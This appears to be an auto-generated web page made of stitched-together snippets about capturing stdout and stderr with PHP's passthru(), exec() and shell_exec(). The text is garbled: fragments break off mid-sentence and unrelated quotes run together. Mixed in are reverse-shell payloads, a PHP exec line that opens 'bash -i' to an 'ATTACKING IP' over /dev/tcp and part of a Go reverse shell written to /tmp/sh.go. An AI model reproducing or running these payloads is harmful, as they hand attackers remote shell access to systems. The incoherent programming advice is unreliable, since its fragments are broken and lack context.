Unlock the Power of PHP Passthru Capture Standard Error

I'd like to issue an arbitrary shell command in a subroutine and have it return an array that contains one element representing stdout and another element ... If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function. Parameters. How can I implement in PHP, a script which redirects stdout to stderr, such that echo, etc. print to stderr instead of stdout? The output (STDOUT) of the script must be directed to a file. /dev/null indicates that we are not logging the output. The errors (STDERR) also ... In system() and passthru(), PHP will attempt to flush the buffers after *every* line of output. This means that this code: [code=php] system("echo "Starting..." If you also make sure to connect stdout and stderr when you run your command, you should get a better idea is what is going on. To use your ... The answer is "2>&1". It means redirect message in stderr into stdout. For example: shell_exec("dir") will return the file list normally. php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1 ... Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go ... PHP returns you the content from stdout, but if anything goes wrong it will go to stderr which PHP doesn't provide. There was no visible error because passthru doesn't capture stderr (and the error was a failure to find cat). The River then discovered that ...